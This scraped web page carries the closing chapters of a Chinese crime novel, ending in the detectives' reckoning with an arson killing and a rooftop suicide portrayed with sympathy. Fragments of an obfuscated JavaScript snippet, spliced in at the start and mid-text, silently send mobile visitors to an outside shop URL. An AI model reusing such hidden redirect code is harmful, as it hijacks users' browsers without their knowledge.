RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一次,不再仅仅是改名、逃离。她要进行一场彻底的、献祭般的“涅槃”,用一场盛大的毁灭,焚尽“楚遇”这个充满了不幸与伪装的躯壳。 然后,以一个全新的身份,幽灵般漂回她人生中唯一残存的、也是最初的那点温暖与牵绊身边。 去寻找她那失落已久的,唯一的港湾。 葬送与解脱,就此融为一体。 ********* 外间,三个身影在弥漫的烟雾中已沉默了许久,空气几乎凝滞。 直到李涵如梦初醒般低声开口,打破了沉寂:“这......怎么会是这样......” 赵队眉头始终紧锁,吐出一口浓烟,声音低沉:“马后炮地讲......其实不难理解。”他顿了顿,仿佛在斟酌词句,“在那姑娘的认知里,她‘杀’了人,但起因是对方先发疯攻击她,她觉得自己才是受害者,心里肯定又怕又冤。这时候,突然出现一个‘完美’的方案,告诉她只要照做,一切就都可以抹平翻篇,秘密就永远只是秘密......这种诱惑......” 他没有说完,只是重重叹了口气,将未尽之言淹没在叹息里。 严疏指间的香烟默默燃着,灰白的长节无声跌落。他始终没有说话,只是透过那面冰冷的单向玻璃,沉默地注视着里面的宋晴。 她仍在微微发抖,纤细的肩膀缩着,脸庞苍白,眼圈通红,浑身上下写满了娇生惯养的脆弱与惊魂未定的余悸,看起来是那么柔弱,那么娇气。任谁看去,这都只是个受了巨大惊吓的、需要被好好呵护的年轻姑娘。 怎么看,也不像一个...... 沾了血的案犯。 他用力按熄了手中的烟蒂,火星在指尖湮灭。闭上眼,喉结艰涩地滚动了一下,再开口时,声音嘶哑得像砂纸摩擦:“接下来,会有个很棘手的问题......” 在他寻找合适词汇的间隙,赵队沉重地接过了话头,吐出两个字:“......量刑。” 严疏没有睁眼,只是几不可察地点了点头,下颌绷得很紧。 李涵终于从震惊的游离状态中挣脱出来,被迫开始面对现实层面的乱麻,不由得又是一阵头痛:“这......这该怎么定性?过失?自卫过当?还是......” 严疏缓缓睁开眼,怔怔地望着玻璃那端,低声喃喃:“那具焦尸......被发现的位置,是在大门口。” 这话,在面对迟昼的时候,他曾经说过。可现在,它背后那冰冷的含义与分量,足以令空气瞬间凝固,落针可闻。 李涵嘴唇嚅动了几次,欲言又止,最终还是在窒息般的沉默里,将那个最为尖锐的问题挤了出来:“那......从法律上讲,引发了火灾,导致简宁死亡的直接责任人......岂不是......” 剩下的两个字,他没敢说出口。 更深的沉默压下,这一次,良久无人接话,只有烟雾在惨白的灯光下无声缭绕。 严疏又点燃一支烟,猩红的光点在昏暗里明灭。透过氤氲的青色烟雾,他深深地、复杂地望着玻璃后那个年轻、富有、本该拥有无限美好未来的女孩。 优渥的家境,和睦的家庭,父母兄长的宠爱,顺风顺水的人生......世间大多的美好,似乎从一开始就堆在了她的面前。 可这样完美的温室,却唯独漏掉了沉重的一课—— 对生命,最基本的敬畏。 方才叙述时她语无伦次,反复强调着恐惧与委屈,字里行间充斥着“被逼无奈”、“是她疯了”。那个夺走了一条人命的骇人夜晚,在她的认知里,仿佛只是一场降临在她头上的、令她蒙受了不白之冤的灾难。 即便认知产生了错位,即便被人蒙骗了双眼,但在她的思维里,她清楚地意识到自己杀了人,也更加清楚......自己随后做了什么。 可直到此刻,严疏依然没有感受到那种沾染了人命后应有的、沉重的罪疚感。 那颤抖的辩解和眼泪,更像是一种害怕事情败露、害怕承受后果的恐慌,而非对剥夺他人生命这一行为本身的分量有所觉悟。 正是这种对生命近乎无知的轻慢,让她在极度的恐慌中,轻易地被那份“完美指南”诱惑,选择了隐瞒和毁灭。也正是基于这份缺失的敬畏,那把本不该出现的火,才最终被她亲手引燃。 严疏只觉得头脑里一片混乱的轰鸣,千头万绪,却找不到那个死结的源头。 疯狂的、精心策划了一切的、将所有人引入局中的、双手沾染了无形鲜血的,分明是楚谕。 可为何兜兜转转事到如今,葬身火海、付出生命的,会是看似无关的迟昼?而将要站在法庭上,为那场吞噬了简宁的大火承担法律责任的,会是眼前这个无知无畏、自以为是的宋晴? 错位与荒诞,如同一根冰冷的针,刺穿了他向来信奉的法理逻辑。 恍惚间,一个微哑的、带着莫名喟叹的声音,又一次幽幽回荡耳畔—— “严疏,你根本......什么都不懂。” 40.肆拾 对陈静而言,近来简直像被卷入了一场无法醒来的连环噩梦。 先是疼惜的准儿媳惨烈地葬身火海,接着是引以为傲的儿子突然被查出脑瘤,紧接着不到一个月,警察竟又突然登门,以火灾案出现新线索为由,带走了女儿配合调查。 大半生顺遂安稳的她,被这一连串的重击彻底打懵了。 可偏偏,能说体己话的儿媳没了,丈夫忙于稳住公司焦头烂额,儿子病倒,女儿又被卷入是非......满心的惶惑无助,竟连个能稍作倾诉的近人都没有,只能独自承受,日日长吁短叹。 但今天,她必须强打起十二分精神。因为明天,就是宋朗手术的日子了。 陈静提前离开学校,径直前往医院。站在住院部楼下,她仰头望着那栋巨大的纯白色建筑,即便近来已对这里无比熟悉,此刻却仍感到一阵沉甸甸的、令人呼吸不畅的压抑。 她深吸一口气,迈步进了大楼。 电梯平稳上行,数字跳动,最终停在了宋朗所在的楼层。陈静走到病房门前,停下脚步,抬手揉了揉眉心,努力将脸上的疲惫与愁容驱散,换上尽可能平静温和的神情。 指尖刚要触及门把手,身后忽然传来一个略显匆忙的女声:“诶,您好!请问是十七床宋朗的家属吗?” 陈静动作一顿,转过身。 是一位穿着护士服的年轻姑娘,手里还拿着记录板。 “我是他母亲,”陈静点点头,语气带着惯常的客气与一丝不易察觉的紧张,“有什么事吗?” “是这样的,”护士点了点头,一边说,一边从口袋里掏出一个小小的、包装简单的纸盒,“刚才有位女士过来,托我把这个交给宋先生。” 她把盒子递向陈静:“正好您来了,就直接给您吧。” 陈静下意识伸手接过。盒子很轻,几乎没什么分量,也听不到硬物碰撞的声响。她心里升起一丝疑惑:“一位女士?她没有留名字?” 护士摇了摇头:“没有。裹得挺严实的,帽子口罩一样不落,看不清脸,跟明星似的。”她显然还有工作要忙,匆匆朝陈静点了点头,“东西交给您了,我还有别的病人要处理,先走了。” 陈静目送着护士快步离开的背影,低头又看了看手中那个轻飘飘的盒子。 是最普通不过的素色,翻盖处贴得很平整,看不出任何多余的信息。 一个女人...... 几乎是不受控制地,一个总是温婉浅笑着、眼神清澈却仿佛带着忧伤的影子,浮现在了脑海。 某种难以言喻的愧疚,混杂着惋惜、伤感涌上心头。陈静闭了闭眼,将这不合时宜的联想压了下去,心底漫上一阵更深的涩然与叹息。 她一贯尊重儿子的隐私,因此并未擅自打开盒子查看。她只是调整了一下呼吸,抬手,轻轻敲了敲门,然后进了病房。 宋朗正靠在床头,目光空茫地投向窗外灰白的天际,听见门响才缓缓转过头,苍白消瘦的脸上挤出一点笑意:“妈。” 陈静的目光落在他明显凹陷下去的脸颊和失了神采的眼睛上,鼻尖猛地一酸,眼眶瞬间就热了。她有些仓促地别开脸,含糊地应了一声,转身佯装整理柜子上本就整齐的物品——水杯、纸巾、眼镜盒,手指无意识地反复调整着位置,只为掩盖瞬间翻涌上来的泪意和颤抖。 宋朗望着母亲明显僵硬紧绷的背影,眼底浮起一丝疲惫的黯然。 “妈,”他主动开口,声音因为久未说话而有些干涩,“没事的。” 陈静背对着他,动作顿住,肩膀几不可察地轻颤了一下。 宋朗搜刮着言辞,又补上一句试图让人安心的话:“钱主任是这方面的权威,经验很丰富,手术方案也定了......没什么风险的。” 陈静背对着他,用力点了点头,喉咙却像被什么堵着,发不出声音。她拼命眨着眼,想把那股酸热逼回去,更不敢回头,怕一看到儿子,那强撑的镇定就会彻底溃堤。 病房里的空气沉默得有些滞重。陈静缓了缓情绪,深吸一口气,强迫自己转移了注意力,声音还有些不稳,背对着他说:“对了,刚才在门口,护士给了我这个,说是有人托她转交给你的。” 她这才转过身,眼睛低垂着避开宋朗的视线,将那个轻飘飘的纸盒递了过去,尽量让语气平常一些:“是个姑娘送的。” 宋朗接过盒子,入手很轻。他没什么心思深究,以为是以前公司的同事或朋友得知消息后的问候,便随手放在了旁边的柜子上。 他看着母亲仍旧苍白的脸色和眼底无法完全掩饰的红痕,知道她在这里的每一秒都是强撑。他不想,也没力气继续这种彼此安慰、却徒增压力的氛围了。 “妈,”宋朗忽然开口,声音温和却带着刻意的轻松,“我有点想喝粥了。帮我买一碗上来吧。” 陈静愣了一下,随即像是得到解脱般连忙点头:“好,好,妈这就去。”她拿起包,有些急切地转身,走了两步又回过头,“你好好休息,妈很快回来。” 宋朗望着那扇轻轻合拢的门,眼帘低垂。 母亲那几乎要满溢出来、却又拼命压抑的悲恸,他怎会感知不到。 这个家,母亲向来是最需要被柔软包裹的那一个。从前,有父亲与他的沉默聆听,有妹妹的插科打诨,后来,还有楚谕那春风化雨般的耐心与熨帖。 可如今...... 他闭上眼,一声叹息逸出唇边,轻得几乎融进病房单调的空气里。 也正因如此,他始终不曾开口询问......关于宋晴的事。 就在不久前,一通电话将他从昏沉中惊醒。听筒那头的人沉默了很久,才终于在电流细微的嘶响中用某种近乎艰涩的语调,暗示他或许......需要做些心理准备。 他挂了电话,望着窗外那片被高楼切割成方块的、灰白单调的天空看了很久,久到时间似乎都失去了意义,直到母亲的脚步声在门外响起。 这段几乎静止的时光里,宋朗觉得自己的思绪如同脱缰的野马,却又像是沉入深海的碎片,纷纷扬扬,漫无边际。 他想知道那场吞噬一切的烈火究竟如何燃起,想知道楚谕是否真如那个荒诞念头般尚在人间,更想知道自己那天真又骄纵的妹妹,究竟在这漩涡之中陷了多深。 思绪飘忽间,蓦地又闪回一辆车内。彼时,那个名叫迟昼的男人用平静的语调,剖开了一段布满疮痍的过往。 那叙述里,充满了苦难与黑暗、疯狂与离散,可偏偏就在那荒芜的土壤里,生长出了一种......根植于寂静深处的、灵魂相抵的陪伴。 那默然共生的姿态,竟让他平静已久的心头掠过一丝迟来的、恍然的悸动。 宋朗想,或许吸引他的,从来不是楚谕表面的柔顺与安静,更不是她后来展现出的温婉与妥帖,而是那无意间从她眼底窥见的,源于遥远过往的、深不见底的寂静。 而他,误将那寂静当作了澄澈,将那疲惫的余烬,当成了可供栖息的安宁。 额角传来熟悉的、隐隐的钝痛,打断了他的漫想。他不再深究,目光无意间落在床头那个素白的小盒上,顺手拿了过来。 掀开盒盖的瞬间,瞳孔几不可察地收缩了一下。脑中那恼人的疼痛,仿佛都在这一刻,被什么无形的东西推远了。 盒子里,躺着一枚小小的福袋,甚至还能闻到一丝极淡的、属于寺庙香火的、陈旧而宁和的气息。 这东西,他认得。 曾经一次公司团建,去爬那座据说颇为灵验的山。同事兴致勃勃地说要去求个平安,他本不信这些,却也鬼使神差地跟着求了一个。 后来,他送给了楚谕。 宋朗已记不清自己当时说了什么,大抵是些“保平安”之类的、寻常的吉利话。 此刻,这枚早已被遗忘的、微不足道的小物件,却穿越了生死与时光的烟尘,静静地回到了他的手里。 宋朗凝望着这枚小小的福袋,眼眶渐渐泛起湿意。 这不是礼物。 是一封来自彼岸的、静默的回音。它的出现本身,便已言明了一切——那些纠缠的谜团,那场诡异的火灾,妹妹骤然卷入的旋涡......所有破碎的线索,在此刻,被这枚福袋轻轻串起,指向了一个他已然明了、却不愿深究的方向。 可宋朗发现,那曾经焚烧肺腑的、想要刨根问底的焦灼,那在得知生命可能走到尽头时爆发出的、对“真相”的偏执渴望,竟不知何时已如退潮般悄然散去,只在心头留下一阵尖锐的抽痛。 为妹妹、为楚谕、为自己。 为这......无法转圜的一切。 经历了一遭生死边缘的徘徊,许多曾经紧抓不放的东西,忽然就失了分量。真相依然盘根错节,事实仍旧迷雾重重,但他,已不再执着于将它们一一厘清。 心中升起的,只是一种巨大的、空旷的悲伤,如同望见一场早已写好结局的旧戏终于落幕,戏中人各得其所,或堕入深渊、或远走他方,只留下看客席上的他,独自面对满场散不尽的苍凉。 几滴温热的液体毫无征兆地滑落,滴在苍白的被单上,洇开深色的圆点。 并非因为愤怒,不是源于不甘,而是一种更为浩大、更为沉静的凄怆。 为所有被命运打翻的舟楫,为所有阴差阳错的相遇与别离。 为这人间挥之不去的......心锚般的执念。 宋朗颤抖着手指收紧掌心,却感到福袋里有一小块坚硬的异物。 指尖探入柔软的布料内部,触及那微凉的、光滑的表面,轻轻将其夹出。 一枚银色的小巧U盘,在指尖闪烁着微光。 一同被带出的,还有一张折叠得十分仔细的、指甲盖大小的字条。 他缓缓展开。 上面是清瘦的、他无比熟悉的字迹—— 我的自白。 硬盘冰凉,字条轻薄。 宋朗握着它们,只感觉承载着一段生命的全部重量,以及这重量背后的,那片他始终未能真正踏足的、属于另一个灵魂的、荒芜而寂静的旷野。 他静静坐着,望着窗外的天光渐渐染上暮色。 ********* 汽车碾过新落的积雪,缓缓停在一栋楼下。 严疏推开车门,却并未立刻动作。他抬头,望向面前那栋熟悉又陌生的大楼,脸上没什么表情,只有眼底沉淀着化不开的复杂。 悦澜湾。 他确实没料到,最终的地点会是这里。他原以为,她对这里......该是避之不及。 念头及此,一丝极淡的、自嘲般的苦笑浮现嘴角,很快又被风雪拂去。 现在回头想想,与这人相关的一切,他似乎......就从没猜对过。 他摇了摇头,甩掉那些无用的思绪,转身从副驾上拿起一个不大的纸盒,随后关上车门,踏入了单元门洞。 电梯平稳上行,数字跳动,最终定格在顶层。 “叮”的一声,梯门滑开。严疏走出来,楼道里空无一人,声控灯因他的脚步次第亮起,投下冷白的光。他略一打量,走向尽头那扇厚重的防火门。 抬手,用力推开。 “呼——!” 凛冽的风裹挟着细碎的雪沫,瞬间汹涌而入,扑了他满头满脸,吹得他衣襟翻飞,不由得向后微微退了半步。 他眯起眼,稳住身形,将门彻底推开,迈步走了出去。 门在身后自动合拢,铰链发出沉闷的声响。刹那间,磅礴的风雪声仿佛被一刀切断,只剩下一种真空的、广袤的寂静。 这里,是顶楼的天台。 严疏站定,环顾四周。视野陡然开阔,远处城市的天际线在铅灰色的天幕下轮廓模糊,近处半人高的水泥围栏上覆着一层薄雪。空气清冽刺骨,每一次呼吸都带着白气。 他正微微出神,身后却传来了一道极其轻微、几乎融在风里的呼吸声。 不是错觉。 严疏闭了闭眼,几秒后,才慢慢转过了身。 围栏上,静静坐着一个人。 裹着厚重的深色大衣,长发未曾束起,散在肩头,被风吹得微微扬起。 那人侧身坐着,一条腿悬在栏外,面向着遥远空茫的天际。即便严疏已经转身,却仍毫无反应,一动不动,仿佛一尊已经与这苍茫景色融为一体的雕塑。 严疏同样没有开口。他只是站在原地,隔着几步的距离,望着那个侧影。 天台之上静默无声,只有风穿过空旷平台的呜咽和零星雪花簌簌落下的细微声响,勉强填充着这片寂静。 时间被拉长,又凝滞于此刻。 良久,他才终于极轻极轻地开了口,声音低微得如同叹息,却已不再带有任何试探、戒备、审视,只剩一种直面真相的、疲惫的平静: “楚谕。” ———————————— 女人没有动作。 风声里,她低声开口,同样直呼其名,没有敬称、没有周旋、没有敷衍。 “严疏。” 两个字轻轻落下,如同雪片坠入深潭,连涟漪都不曾激起。 天台重归寂静。只有风,在两人之间那片无形的、难以跨越的鸿沟中无声穿行。 半晌,严疏才再次开口,声音有些干涩:“那条短信......为什么?” 女人似乎极轻地笑了一下。那笑声很短,像一声变调的叹息。 她终于缓缓转过头。 即便早有准备,即便那张脸已非初见——可当它真正地、完整地呈现在咫尺之遥时,严疏还是感到胸口被什么东西重重撞了一下。 一半,仍是那个温柔、易碎、惹人怜惜的楚谕。 另一半,却是属于那场烈火的、永不褪色的烙印。 严疏有些仓促地垂下眼帘,不愿多看——像是不忍,又像惭愧。他听见自己的声音绷得很紧,如同拉满的弓弦: “你在......报复我。” 事实上,从那条短信出现的那一刻起,甚至无需等待证物复检结果,他便已如坠冰窟。 宋晴这个名字,像一块巨石般投入了原本已趋平静的死水,掀起的涟漪圈圈荡开,冲垮了太多东西。 一切,都被改写了。 一桩由即将擢升的沈队亲手签署结案报告的、干净利落的“意外火灾”,被重新钉回了刑侦科的档案柜,变成了一起恶性的、精密的、难以定性的......教唆、纵火与焚尸。 一个从小被捧在掌心、衔着金匙出生的富家千金,被剥离了那层骄纵任性的保护,最终露出了一双沾染了血、却直到最后都不明所以的手。 而她,再也......无迹可寻。 这四个字,就是这场漫长追逐的最后终局。 他再没办法证明任何关于“她”的事。那些设计精密的链条,那些无法纳入证物的文字,那些借他人之手完成的闭环——她没有留下任何证据。 她确实递上了刀。可握住、刺入、以及承受后果的,另有其人。 他被那条简单的短信引向了深渊,却只能独自站在崖边,身前是云雾缭绕的虚空,身后是被惊醒的、无处安放的亡魂。 “不。” 女人开口了,声音嘶哑,像是砂纸摩擦过粗砺的石面。 “那是你拯救我的......报答。” 最后两个字被咬得极重,重到几乎要将其碾碎。 严疏身形微僵,翻涌的思绪仿佛被一道无形的屏障截断,那些预演过无数遍的质问、辩驳、诘难,都在喉间生生卡住。 干涩嘶哑的声音还在继续。这次,语调里再次浮起那种他熟悉的、意味不明的喟叹——像站在废墟之上回首而望,又像在墓碑面前献上一枝无名的花。 “严警官,”女人看着他,“这就是你期盼已久的......真相。” 严疏抿紧唇,喉结微微滚动。他抬起头,对上了那双深不见底的、漆黑的眼。 很多话想说。 关于那条纠缠了十二年的项链,关于河溪镇派出所那个仓皇逃离的少年,关于悦澜湾那具蜷曲的焦尸,关于那个名叫“迟昼”的男人。 关于罪,关于罚,关于救赎是否真的存在,关于所谓的“真相”,究竟是不是终点。 很多话想问。 问她为何要布下这盘环环相扣的棋局?问她为何偏偏选中宋晴——那个骄纵、浅薄的女孩?问她是如何将时机拿捏得如此精妙,让一个从未真正见识过死亡的人,真真切切地相信自己手中攥着一条人命? 问她为何不在一切开始之前、之中、之后的任何一个节点,就把“宋晴”这个名字作为筹码抛出,让自己这段扭曲的追寻,提前无迹可寻? 嘴唇微微翕动,那些盘桓在胸腔里太久的话语,却像被冰封在了喉间,一个字也挤不出来。 所有的问题与疑惑,他都曾在无数个辗转的深夜独自推演。他模拟过她的处境,揣度过她的心路,试图用逻辑和共情,去拼凑那个他从未真正踏入过的、属于她和迟昼的精神世界。 那时,严疏认为自己不曾得到答案。 可此刻,当她就坐在几步之外,他却发现——那些问题的答案,自己其实早已知晓。 他没有开口再问。 天台上,只剩下两道人影,隔着一步之遥,隔着无法倒流的时光,隔着已经烧成灰烬、却又从未真正熄灭的过往,相对无言。 最终,严疏只是干涩地、沙哑地,问出了一个看似微不足道、却是一切开端的问题: “河溪镇那夜,他......为什么会去警局?” 女人垂着眼,似乎没料到这样一句。她沉默了片刻,忽然轻轻叹息,带着某种恍然大悟的、尘埃落定的喟叹。 “原来......是你。” 严疏没有回应,只是在沉默中静静等待。 雪花片片落地,发出极细微的、沙沙的声响。在严疏以为她不会再开口时,她却忽然说话了,声音很轻,语调飘忽,仿佛在讲述一件与自己无关的旧事。 “阿昼那天......捅了她一刀。” 严疏的眉心几不可察地蹙起。 “人啊,居然可以如此......复杂。”女人顿了顿,像在咀嚼这几个字的重量,“那天,是我第一次真正意识到这件事......或者说,‘见识’到这件事。” 她收回放空的视线,慢慢转向严疏,声音依然很轻: “你觉得,这里发生的......”她垂眸,指尖轻轻向下点了点,“......为什么是火?” 严疏没有说话,甚至没有动。他望着那张一半柔软、一半凝固的脸,一个沉重的念头,开始缓慢而不可阻挡地浮出水面。 女人偏过头去,望向远处逐渐暗沉的天际。那里的云层更低了,像一块缓缓压下的、无边无际的铅板。 她说:“那是......母亲教给我的。” 那个疯狂的念头彻底成形,巨石般沉沉压上胸腔。 严疏缓缓阖眼,再也没能开口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410000|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沉痛如同冷水,从头顶无声浇下,浸透四肢、漫过胸膛,淹没了他固守了半生的、关于“人”的一切认知。 人啊,人。 曾经,他认为这个字是那样简单。不过是一个物种的称谓,不过是一副皮囊的总和,不过是一种介于善恶之间的、可以被理性与法律丈量的容器。 可这一年里,那个他从入行第一天起便以为早已读懂的字,一次又一次地在他面前碎裂、重组、屡屡展现出他从未设想过的形状。 如此柔软,却又如此锋利; 如此虔诚,却又如此亵渎; 如此渴望被爱,却又如此......擅长毁灭。 它开始变得庞大、幽深、面目模糊,承载着他无法命名、也无法消化的分量。它不再是判定、不再是结论,只是一个问题,一个......他再也答不上来的问题。 再一次的,他被迫直面了它的重量。 那重量压在他的肩膀上、胸口上、脊梁上,压得他几乎忘记了如何呼吸。 他只能愣愣地站在那里,感受着心脏在胸腔里沉甸甸地跃动。 一下,又一下。 风仍在吹,雪仍在落。沉默,在二人之间越堆越厚。 严疏知道,已没有什么需要说的了。 他抬手,从大衣口袋里缓缓取出那个纸盒。盒面已被体温焐得微温,棱角在他掌心压出浅浅的印痕。 他递了过去:“你要的东西。” 女人回过头,目光落在那只纸盒上,停留了片刻。随后她伸出手,接过了它。 动作很慢,像在捧起一件易碎的、沉重的珍宝。 她打开盒盖。 里面,躺着一条项链。 日月纠缠的吊坠已融化大半,边缘扭曲,失去了原本的轮廓;实心钢的链条在烈焰的舔舐下化作乌黑,却依旧坚韧,并未断裂。 她望着它,端详着那轮被冷月环抱的、已然残缺的太阳,久久没有动作。 一滴泪忽然坠落,砸在冰冷的钢面上,碎裂成细小的、看不见的光。 “妈妈走后,我去找了人,几乎花光了身上的钱,才把它修好。”女人顿了顿,喉咙里滚过一声极轻的、哽咽的气音,“那以后,再没离过身。” 她凝视着那条项链,目光却仿佛已穿透了它,望向了某个遥远的、被烈焰吞没的夜晚。 “我想......”她的声音很低,像梦呓,又像在解释什么,“让它和‘楚谕’一起,彻底留在那场火里。” 她没有说下去,只是手指收紧,将那条冰冷的、承载了太多记忆的项链缓缓握进掌心。 眼泪无声地滑过那半张尚能动容的脸,在下颌停顿,然后坠落。她轻轻摇头,像是悲戚,又像在忏悔。 然后她缓缓抬手,将那条项链,重新戴回了颈间。 缓慢、郑重,如同一场无人相送的告别。 严疏看着那个动作,眼皮没来由地跳了一下。 女人没有看他。 她仰着脸,望着那片渐渐被霞光浸染的天空。 赤色的光从天际尽头缓缓洇开,像一匹被慢慢撕裂的锦缎,将最后的暖色,慷慨地倾洒在那完好的半张脸上。 她喃喃开口,声音嘶哑,仿佛下一瞬就会被风吹散。 “严警官,我要走了。” 女人侧过头,望向他。霞光在她身后燃烧,将她的轮廓勾勒成一道即将消融的剪影。 那双漆黑的瞳孔里,没有悲戚、不见波澜,只余一种疲惫的、澄澈的平静,像经历了无数风浪后,终于泊入死水的孤舟。 “这一次,你还要......拦我吗?” 严疏愣在了原地。 他听见了心脏那愈发沉重地跳动,一下一下,如同一口年久失修的钟。 他知道,那话里的“走”,指的并非远方。 他下意识地向前挪了半步,却又在下一刻戛然止步。 他张了张嘴,想说什么。 他知道这是不对的,应该阻止、必须阻止——可话音涌到唇边,却硬生生地哽在了喉头。 像一块卡在咽喉的、无法吞咽的砾石。 能说什么呢? “不能这样”? 可支撑一个人活下去的理由,她已一个不剩。 “还有未来”? 可那被火焰吻过的脸,带来的是余生,还是残烬? “还有人需要”? 可唯一会等在原地的人,已先一步沉入了火海......就在她的眼前。 “再重新开始”? 可她已无数次尝试。从楚遇到邹遇,从邹遇到楚谕,从楚谕...... 到简宁。 严疏第一次发现,原来“活下去”这件理所当然的事,竟也需要杠杆。 那杠杆的一端,需要压着足够分量的理由——家人、爱人、未竟的梦想、值得奔赴的远方。 可她的那一端,空空荡荡。 母亲焚于眼前,父亲从未存在。然后是迟昼,然后是她的面容,然后是......她的孩子。 那些能够锚定存在的星星点点,一个接着一个,全都碎了。 严疏看着坐在护栏上的人。 余晖从身后拥上,风扬起她的长发。那身影显得那么轻,那么薄,仿佛随时要被烧尽的纸灰,轻轻一吹,就会散得无影无踪。 严疏忽然发现自己说不出任何劝阻的话。 不是因为职责的失语,不是因为理由的匮乏—— 而是他站在这里,搜遍肺腑,竟真的找不到任何一个还能将她拴在人间的、尚未崩断的锚点。 他进退两难地卡在那里,像在深渊边缘一脚踩空的旅人,无处着力、无处可退。 眼眶渐渐泛起潮红。 严疏微微摇着头,喉结滚动,鼻腔里像塞了一团浸透水的棉花,堵得他无法呼吸。 他想说点什么,哪怕只是一个音节、一个不成词的气音——可喉咙像被什么死死堵住了,愣是发不出任何声音。 女人望着他的这副模样,缓缓弯起了唇角。 从严疏那侧看去,只能望见完好的半边。 她转过头,最后看了一眼那片血红的、肆意燃烧着的夕阳,轻轻叹了口气。 随后,再无留恋,翻身而下。 像一片轻盈的羽毛,像一缕浅淡的叹息。下一刻,风呼啸着,灌满她离开时的那片空白。 严疏急促地泄出一口气。短促、破碎,像被什么利器猛然刺穿了胸腔。 他终于迈出了第二步。半抬起手,却在空中颓然垂下。 面前,只剩越来越急的风,和越来越密的雪。 他怔怔站着,望着面前空无一人的虚空。 那里,刚刚还坐着一个人。 一个他追索了太久、对峙了太久、却从未......真正看懂过的人。 而现在,那里只剩霞光。 一种难以名状的、沉重的悲伤,从胸腔深处汹涌而起,将他彻底淹没。 不是震惊。 不是悔恨。 只是一种......无处安放的悲伤。 像积了太久的雪,终于压断了枝头。 眼眶里蓄了太久、却始终不肯落下的东西,终于挣脱了束缚,不受控制地漫了上来。泪水混着融化的雪水,顺着脸颊滑落,将天边那片燃烧的霞光切割成无数细碎流动的光斑。 眼前的世界开始模糊,一切都在旋转、消融。 严疏分不清是自己在旋转,还是世界在坍缩。 城市的轮廓、远山的天际、脚边的白雪、颤抖的指尖——一切都在那片模糊的光影里,失去了清晰的边界。 浑身的力气,在一瞬间被抽得干干净净。膝盖一软,他直直地跪了下去。 膝盖撞击水泥地面的钝响,在空旷的天台上显得格外清晰,却又格外空洞。 严疏弓着背,双手死死攥住腹部的衣料,指节泛白,青筋毕露。胸腔的起伏逐渐加剧,像一台过载的、即将报废的老旧引擎,徒劳地抽吸着越来越稀薄的氧气。 他想嘶吼,想痛哭,想把胸腔里那团沉重的、无处安放的东西,狠狠地、彻底地倾泻出去。 可喉咙里,仍然挤不出一丝声音。 不知何时从口袋里滑落的手机,忽然在雪地里亮起。 模糊的视线里,他勉强辨认出“赵队”两个字。 那头的人,或许正对着空气长吁短叹,抱怨他得罪了太多人、惹了太多麻烦。 又或许,是在那桩倾覆了太多人的案子终于尘埃落定后、为他争取来了嘉奖提名。 可严疏已经不在乎了。 他没有接,甚至没有多看那手机一眼。 严疏知道,不论那通电话带来的是冷眼还是勋章,他的刑警生涯,到此......已经结束了。 不是职位的终结,不是档案的尘封。 是他的心。 它已无法......再次负重。 雪,渐渐大了。 起初只是稀疏的雪沫,渐渐地,却变得饱满、绵密,一层一层覆盖下来,无声的落在他的肩上、发上、弓起的脊背上、跪在冰冷地面的膝上。 雪渐渐遮掩了他的轮廓,将他与这片无边的苍茫融为一体。 远处,那片云海在雪幕之后肆意、沉默地燃烧,逐渐与最后一缕天光,缓缓熔为一体。 那盛大的火烧云,像极了一切开始的地方。 ————————全文完————————